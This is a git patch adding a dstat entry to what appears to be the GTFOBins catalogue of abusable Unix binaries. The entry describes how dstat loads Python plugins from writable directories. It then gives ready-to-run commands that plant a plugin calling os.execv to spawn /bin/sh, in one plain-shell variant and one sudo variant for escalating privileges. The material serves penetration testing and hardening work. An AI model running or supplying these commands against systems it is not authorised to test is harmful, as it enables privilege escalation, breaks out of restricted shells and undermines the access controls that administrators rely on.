From f4ec254e8c15cf7d508dcf42583d3d2a7f8bbb31 Mon Sep 17 00:00:00 2001 From: AlexConnat <11010228+AlexConnat@users.noreply.github.com> Date: Sat, 11 Feb 2023 18:54:16 +0100 Subject: [PATCH] Add dstat Co-authored-by: AlexConnat Co-authored-by: Andrea Cardaci --- _gtfobins/dstat.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 _gtfobins/dstat.md diff --git a/_gtfobins/dstat.md b/_gtfobins/dstat.md new file mode 100644 index 0000000..4a44449 --- /dev/null +++ b/_gtfobins/dstat.md @@ -0,0 +1,21 @@ +--- +description: | + `dstat` allows you to run arbitrary Python scripts loaded as "external plugins" if they are located in one of the directories stated in the `dstat` man page under "FILES": + + 1. `~/.dstat/` + 2. `(path of binary)/plugins/` + 3. `/usr/share/dstat/` + 4. `/usr/local/share/dstat/` + + Pick the one that you can write into. +functions: + shell: + - code: | + mkdir -p ~/.dstat + echo 'import os; os.execv("/bin/sh", ["sh"])' >~/.dstat/dstat_xxx.py + dstat --xxx + sudo: + - code: | + echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py + sudo dstat --xxx +---